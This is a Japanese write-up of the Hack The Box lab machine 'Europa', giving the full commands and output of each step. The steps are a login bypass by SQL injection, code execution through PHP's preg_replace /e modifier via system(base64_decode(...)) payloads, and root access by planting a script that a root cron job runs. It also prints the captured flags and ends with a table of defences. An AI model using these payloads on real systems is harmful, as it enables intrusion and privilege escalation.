Hack The BoxのWriteup(Europa)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Europa — 全実行コマンド・実行結果レポート
SSL証明書 SAN列挙
admin-portal.europacorp.htb発見
login.php SQLi
‘ OR ‘1’=’1 認証バイパス
tools.php preg_replace /e
system(base64_decode(…))
RCE (www-data)
user.txt ✓
root cron差替
/var/www/cmd/logcleared.sh
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.58.222
nmap -sV -sC -p 22,80,443 10.129.58.222
RESULT
PORT    STATE SERVICE
22/tcp  open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
80/tcp  open  http    Apache
443/tcp open  https   Apache / ssl-cert CN=europacorp.htb

SSL証明書 SAN からの vhost 発見

BASH
echo | openssl s_client -connect 10.129.58.222:443 2>/dev/null \
  | openssl x509 -noout -text | grep -A2 "Subject Alternative Name"
RESULT
X509v3 Subject Alternative Name:
    DNS:www.europacorp.htb, DNS:admin-portal.europacorp.htb
ℹ️
80/443番はデフォルトのApacheページのみでディレクトリ探索も空振りだったが、 SSL証明書のSANフィールドから隠れたvhost admin-portal.europacorp.htb を発見できた。/etc/hosts に追記してアクセスするとログインページが出現する。
BASH
echo "10.129.58.222 admin-portal.europacorp.htb" | sudo tee -a /etc/hosts
PHASE 2

login.php SQLi 認証バイパス

トラブルシューティング: sqlmapの–dump-allは高レイテンシ回線で非現実的

BASH
# 定石通りの手順(admin.usersテーブルをダンプしてハッシュをクラックする想定)
sqlmap -u https://admin-portal.europacorp.htb/login.php \
  --data "email=admin@europacorp.htb&password=" \
  --risk 3 --level 3 --dbms MYSQL --dump-all --batch
RESULT
[CRITICAL] connection timed out to the target URL. sqlmap is going to retry
...(risk 3 + level 3 + dump-allで大量のリクエストが発生、5分のタイムアウトを
   超過して完走しない)
🚨
根本原因: このVPN経由の回線は1リクエストあたり数百ms〜数秒かかる ことがあり、--risk 3 --level 3で追加される多数のテストペイロード (boolean-blindの1手法だけでも1回のテストに数十秒かかる)に --dump-all (全データベース・全テーブルを走査)が重なると、現実的な時間で完走しない。

軽量プローブで判明した重大な事実 — 認証バイパスがそのまま効く

BASH
# --level 1 --risk 1 の軽量スキャン中、boolean-basedのテストペイロードの
# 1つが偶然ログイン成功のリダイレクトを引き起こした:
sqlmap -u https://admin-portal.europacorp.htb/login.php \
  --data "email=admin@europacorp.htb&password=" --batch --dbms=MYSQL --level 1 --risk 1
RESULT
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
got a 302 redirect to 'https://admin-portal.europacorp.htb/dashboard.php'
🚨
手掛かり発見: sqlmapのテストペイロードの1つがログインページを dashboard.phpへリダイレクトさせた。これは email パラメータが クォート無しでSQL文へ直接連結されており、古典的なOR注入で パスワードを一切知らずに認証を突破できることを示唆している。

認証バイパスの確認

BASH
curl -sk -i -c cookies.txt \
  --data "email=admin@europacorp.htb' OR '1'='1&password=x" \
  "https://admin-portal.europacorp.htb/login.php"
RESULT
HTTP/1.1 302 Found
Set-Cookie: PHPSESSID=mgckaj0k0nu4nd57ilp8idk3b5; path=/
Location: https://admin-portal.europacorp.htb/dashboard.php
認証バイパス成功。 email=admin@europacorp.htb' OR '1'='1 を送るだけで、WHERE句が常に真になりログインに成功する。sqlmapでのダンプも hashcat/johnでのクラックも一切不要な、大幅に高速で確実な経路
PHASE 3

tools.php preg_replace RCE & user.txt

tools.php のフォーム構造確認

BASH
curl -sk -b cookies.txt "https://admin-portal.europacorp.htb/tools.php" \
  | grep -i "input\|pattern\|ipaddress"
RESULT
<input type="hidden" name="pattern" value="/ip_address/">
<input class="form-control" placeholder="IP Address of Remote Host" name="ipaddress" type="text">
ℹ️
サーバー側は preg_replace($_POST['pattern'], $_POST['ipaddress'], $text) のような形でユーザー入力の pattern をそのまま正規表現として使っている。 PHP 5.x系では preg_replace() の非推奨 /e 修飾子を パターンに付けると、置換文字列がPHPコードとしてeval()される既知の脆弱性がある。

preg_replace /e 修飾子によるRCE

BASH
# base64経由でコマンドを渡すことでPHP文字列内のクォート衝突を回避する
B64=$(echo -n "id" | base64 -w0)
curl -sk -b cookies.txt \
  --data-urlencode "pattern=/(.*)/e" \
  --data-urlencode "ipaddress=system(base64_decode('$B64'))" \
  --data-urlencode "text=x" \
  "https://admin-portal.europacorp.htb/tools.php"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE成功。 system()の出力はページ先頭付近 (レスポンスの<!DOCTYPE html>より前)に直接印字される点に注意 (preg_replaceのeval評価がテンプレート処理より先に走るため)。

user.txt 取得

BASH
CMD="cat /home/*/user.txt"
B64=$(echo -n "$CMD" | base64 -w0)
curl -sk -b cookies.txt \
  --data-urlencode "pattern=/(.*)/e" \
  --data-urlencode "ipaddress=system(base64_decode('$B64'))" \
  --data-urlencode "text=x" \
  "https://admin-portal.europacorp.htb/tools.php"
RESULT
393b96c2d0cdc7c37a05f46565e9f13f
user.txt
393b96c2d0cdc7c37a05f46565e9f13f
PHASE 4

権限昇格の下調べ — root cron の書込可能スクリプト

/etc/crontab の確認

BASH
# RCE経由で /etc/crontab を読む (rce()はPhase3のRCEをラップした関数)
rce "cat /etc/crontab"
RESULT
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
...
* * * * * root /var/www/cronjobs/clearlogs
ℹ️
/var/www/cronjobs/clearlogsroot権限で毎分実行されている。

clearlogs スクリプトの中身確認

BASH
rce "cat /var/www/cronjobs/clearlogs"
RESULT
#!/usr/bin/php
<?php
$file = '/var/www/admin/logs/access.log';
file_put_contents($file, '');
exec('/var/www/cmd/logcleared.sh');
?>
BASH
rce "ls -la /var/www/cmd/"
RESULT
drwxrwxr-x 2 root www-data 4096 ... .
(logcleared.sh は存在しない。ディレクトリ自体が www-data 書込可)
🚨
権限昇格の糸口: exec()で呼ばれる /var/www/cmd/logcleared.sh は存在せず、かつ格納先ディレクトリが www-data書込可。ここに任意スクリプトを設置すれば、毎分のroot cronが そのまま実行してくれる。
PHASE 5

cron乗っ取り → root.txt

トラブルシューティング: cpは元ファイルの制限的パーミッションを引き継ぐ

BASH
# 最初に試した(不十分な)ペイロード
rce "printf '#!/bin/sh\ncp /root/root.txt /var/www/cmd/root.txt\n' > /var/www/cmd/logcleared.sh"
rce "chmod +x /var/www/cmd/logcleared.sh"
# cron発火後...
rce "ls -la /var/www/cmd/"
RESULT
-r-------- 1 root root 33 ... root.txt  ← root専用read-only、www-dataから読めない!
🚨
根本原因: /root/root.txt は元々 -r-------- (root専用read-only)。cpコマンドは明示的に--preserve=modeを 指定しなくても、コピー先が新規作成の場合に元ファイルの制限的な パーミッションをそのまま引き継ぐことがある。コピー自体はroot権限のcronで 成功しているのに、コピー後のファイルを www-data から読めないという罠。
BASH
# 対策: cronスクリプト自体にchmodも含める(スクリプト全体がroot権限で走るため)
rce "printf '#!/bin/sh\ncp /root/root.txt /var/www/cmd/rootflag.txt\nchmod 644 /var/www/cmd/rootflag.txt\n' > /var/www/cmd/logcleared.sh"
rce "chmod +x /var/www/cmd/logcleared.sh"
cronスクリプト内で chmod 644 まで実行させることで、コピー後の ファイルを www-data からも読めるようにする。

root cron発火待ち & root.txt取得

BASH
# 毎分実行なので最大60秒程度ポーリング
while true; do
  out=$(rce "cat /var/www/cmd/rootflag.txt 2>/dev/null")
  echo "$out" | grep -qE "^[0-9a-f]{32}" && break
  sleep 8
done
RESULT
6ec8efdcc51353ce8b6043739d012fc4
root.txt — root
6ec8efdcc51353ce8b6043739d012fc4
権限昇格成功。 root権限のcronが1分以内にlogcleared.shを実行し、 chmod済みのroot.txtコピーをwww-dataから読み取れた。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt
393b96c2d0cdc7c37a05f46565e9f13f
root.txt — root
6ec8efdcc51353ce8b6043739d012fc4

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SQLi 認証バイパス login.php (email パラメータ) 管理パネルへの不正ログイン Critical クォート無しSQL連結を悪用した ' OR '1'='1 でパスワード不問ログイン
preg_replace() /e 修飾子 RCE tools.php (pattern パラメータ) リモートコード実行 (www-data) Critical 非推奨の /e 修飾子で置換文字列をPHPコードとしてeval、system(base64_decode(…))で任意コマンド実行
書込可能ディレクトリ + root cron /var/www/cmd/logcleared.sh 権限昇格 (root) High 存在しない呼び出し先スクリプトをwww-data権限で設置し、root権限の毎分cronに実行させる

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + SSL証明書SAN解析admin-portal.europacorp.htb vhost発見
2認証突破login.php SQLi (‘ OR ‘1’=’1)管理パネルへのログインCookie
3RCEtools.php preg_replace /e修飾子user.txt 取得(www-dataシェル相当)
4権限調査/etc/crontab + clearlogsスクリプト解析root cronが呼ぶ書込可能パスを特定
5権限昇格logcleared.sh設置+chmod、root cron待ちroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
SSL証明書のSubject Alternative Nameから隠しvhostが漏洩している ワイルドカード証明書の使用や、SANに含めるドメインを最小限にする。内部/管理用vhostは別CA・別証明書にする。
ログインフォームのSQL文がユーザー入力をクォート無しで直接連結している プリペアドステートメント/パラメータ化クエリを徹底する。
preg_replace()の非推奨/e修飾子をユーザー制御可能なパターンで使用している PHP 5.5以降で非推奨・7.0で削除された/e修飾子を使わず、preg_replace_callback()を使う。パターン文字列を絶対にユーザー入力から構築しない。
root権限のcronが呼び出すスクリプトのディレクトリがwww-data書込可 cronから呼ばれるパスの親ディレクトリの所有権・パーミッションを厳格化し、Webサーバー実行ユーザーの書込を許可しない。
HackTheBox: Europa | 完全攻略レポート